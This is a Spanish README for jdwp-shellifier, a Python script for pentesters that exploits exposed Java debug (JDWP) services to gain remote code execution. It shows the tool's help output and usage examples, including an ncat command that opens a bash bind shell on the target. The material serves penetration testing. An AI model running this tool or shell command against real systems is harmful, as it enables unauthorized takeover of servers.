
Script de explotación para servicios expuestos del Protocolo de Cable de Depuración de Java (JDWP), que permite a los pentesters inyectar código Java y ejecutar comandos arbitrarios del sistema operativo en JVMs objetivo.
Este script de explotación está pensado para ser utilizado por pentesters contra un servicio JDWP activo, con el fin de obtener ejecución remota de código.
Bien, de forma bastante estándar, el script solo requiere un intérprete de Python 2:
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
Para apuntar a un host/puerto específico:
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
Este comando solo inyectará código Java en la JVM y mostrará información como el sistema operativo y la versión de Java. Dado que no ejecuta código/binarios externos, es totalmente seguro y puede utilizarse como prueba de concepto.
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
Este comando realmente ejecutará el proceso ncat con el argumento especificado, con los derechos otorgados a la JVM en ejecución.
Antes de enviar preguntas, asegúrate de leer http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html para comprender completamente el protocolo JDWP.